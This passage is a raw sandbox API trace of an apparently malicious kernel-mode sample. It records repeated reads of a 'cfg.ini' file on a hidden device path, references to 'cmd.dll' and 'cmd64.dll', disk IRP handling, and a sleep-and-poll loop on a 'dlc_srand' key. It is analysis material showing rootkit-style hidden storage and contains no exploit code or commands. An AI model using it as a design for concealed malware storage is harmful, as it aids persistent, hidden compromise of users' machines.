[0124.631] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.631] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.631] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.631] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.631] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.631] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1440 [0124.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.631] KeLeaveCriticalRegion () [0124.631] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.631] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.631] KeEnterCriticalRegion () [0124.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.631] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.631] KeLeaveCriticalRegion () [0124.631] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.631] KeEnterCriticalRegion () [0124.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.631] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.631] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.631] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.631] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.631] IdePortDispatch () returned 0x103 [0124.631] KeWaitForMutexObject () returned 0x0 [0124.631] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.631] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.631] KeLeaveCriticalRegion () [0124.631] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.631] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.631] KeEnterCriticalRegion () [0124.631] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.631] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003590000 [0124.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.632] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.632] IdePortDispatch () returned 0x103 [0124.632] KeWaitForMutexObject () returned 0x0 [0124.632] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.632] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.632] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.632] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.632] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.632] IdePortDispatch () returned 0x103 [0124.632] KeWaitForMutexObject () returned 0x0 [0124.632] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.632] KeLeaveCriticalRegion () [0124.632] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.633] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.633] KeEnterCriticalRegion () [0124.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.633] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.633] KeLeaveCriticalRegion () [0124.633] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.633] KeEnterCriticalRegion () [0124.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.633] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.633] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.633] KeLeaveCriticalRegion () [0124.633] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.633] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.633] KeEnterCriticalRegion () [0124.633] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.633] ExFreePoolWithTag (P=0xfffffa8003bf1440, Tag=0x0) [0124.633] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.633] KeLeaveCriticalRegion () [0124.633] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.633] ReleaseMutex (hMutex=0xf0) returned 1 [0124.633] Sleep (dwMilliseconds=0x124f80) [0124.647] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.647] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.647] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.647] KeEnterCriticalRegion () [0124.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.647] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.647] IdePortDispatch () returned 0x103 [0124.647] KeWaitForMutexObject () returned 0x0 [0124.647] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.647] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.647] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.647] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.647] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.647] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf17f0 [0124.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.647] KeLeaveCriticalRegion () [0124.647] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.647] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.647] KeEnterCriticalRegion () [0124.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.647] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.647] KeLeaveCriticalRegion () [0124.647] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.647] KeEnterCriticalRegion () [0124.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.647] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.647] IdePortDispatch () returned 0x103 [0124.648] KeWaitForMutexObject () returned 0x0 [0124.648] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.648] KeLeaveCriticalRegion () [0124.648] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.648] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.648] KeEnterCriticalRegion () [0124.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.648] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003595000 [0124.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.648] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.648] IdePortDispatch () returned 0x103 [0124.648] KeWaitForMutexObject () returned 0x0 [0124.648] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.648] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.648] IdePortDispatch () returned 0x103 [0124.649] KeWaitForMutexObject () returned 0x0 [0124.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.649] KeLeaveCriticalRegion () [0124.649] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.649] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.649] KeEnterCriticalRegion () [0124.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.649] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.649] KeLeaveCriticalRegion () [0124.649] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.649] KeEnterCriticalRegion () [0124.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.649] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.649] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.649] KeLeaveCriticalRegion () [0124.649] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.649] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.649] KeEnterCriticalRegion () [0124.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.649] ExFreePoolWithTag (P=0xfffffa8003bf17f0, Tag=0x0) [0124.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.649] KeLeaveCriticalRegion () [0124.649] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.649] ReleaseMutex (hMutex=0xf0) returned 1 [0124.649] Sleep (dwMilliseconds=0x124f80) [0124.665] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.665] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.665] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.665] KeEnterCriticalRegion () [0124.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.665] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.665] IdePortDispatch () returned 0x103 [0124.665] KeWaitForMutexObject () returned 0x0 [0124.665] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.665] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.665] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.665] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.665] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.665] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf2340 [0124.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.665] KeLeaveCriticalRegion () [0124.665] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.665] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.665] KeEnterCriticalRegion () [0124.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.665] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.665] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.665] KeLeaveCriticalRegion () [0124.665] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.665] KeEnterCriticalRegion () [0124.665] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.665] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.665] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.665] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.665] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.665] IdePortDispatch () returned 0x103 [0124.666] KeWaitForMutexObject () returned 0x0 [0124.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.666] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.666] KeLeaveCriticalRegion () [0124.666] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.666] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.666] KeEnterCriticalRegion () [0124.666] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.666] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800359a000 [0124.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.666] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.666] IdePortDispatch () returned 0x103 [0124.666] KeWaitForMutexObject () returned 0x0 [0124.666] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.666] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.666] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0124.666] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0124.666] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0124.666] IdePortDispatch () returned 0x103 [0124.667] KeWaitForMutexObject () returned 0x0 [0124.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.667] KeLeaveCriticalRegion () [0124.667] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.667] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.667] KeEnterCriticalRegion () [0124.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.667] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.667] KeLeaveCriticalRegion () [0124.667] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.667] KeEnterCriticalRegion () [0124.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.667] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0124.667] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf3c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0124.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.667] KeLeaveCriticalRegion () [0124.667] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.667] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.667] KeEnterCriticalRegion () [0124.667] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.667] ExFreePoolWithTag (P=0xfffffa8003bf2340, Tag=0x0) [0124.667] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.667] KeLeaveCriticalRegion () [0124.667] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.667] ReleaseMutex (hMutex=0xf0) returned 1 [0124.668] Sleep (dwMilliseconds=0x124f80) [0124.681] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0124.681] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0124.681] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.681] KeEnterCriticalRegion () [0124.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.681] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0124.681] IdePortDispatch () returned 0x103 [0124.682] KeWaitForMutexObject () returned 0x0 [0124.682] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.682] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.682] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0124.682] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0124.682] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0124.682] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf1490 [0124.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.682] KeLeaveCriticalRegion () [0124.682] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.682] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.682] KeEnterCriticalRegion () [0124.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.682] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0124.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.682] KeLeaveCriticalRegion () [0124.682] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.682] KeEnterCriticalRegion () [0124.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.682] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0124.682] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0124.682] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0124.682] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0124.682] IdePortDispatch () returned 0x103 [0124.682] KeWaitForMutexObject () returned 0x0 [0124.682] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0124.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0124.682] KeLeaveCriticalRegion () [0124.682] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0124.682] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0124.683] KeEnterCriticalRegion () [0124.683] ExAcquireFastMutexUnsafe (in: 